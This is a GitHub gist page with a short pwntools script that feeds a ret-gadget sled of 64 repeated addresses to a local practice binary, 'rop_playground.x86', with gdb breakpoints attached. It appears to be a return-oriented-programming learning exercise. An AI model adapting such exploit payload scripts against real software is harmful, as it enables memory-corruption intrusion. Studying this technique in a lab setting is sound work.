Skip to content

Instantly share code, notes, and snippets.

@BeneCollyridam
Created March 8, 2018 19:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save BeneCollyridam/58c59055e9008ee8827a226da76c537a to your computer and use it in GitHub Desktop.
Save BeneCollyridam/58c59055e9008ee8827a226da76c537a to your computer and use it in GitHub Desktop.
from pwn import *
context(
terminal = ["urxvt", "--hold", "-e", "bash", "-c"])
p = process("rop_playground.x86")
ret = 0x0804835e
pay = ""
pay += p32(ret) * 64
gdb.attach(p, """
b *0x0804835e
b *0x80485fe""")
p.sendline(pay)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment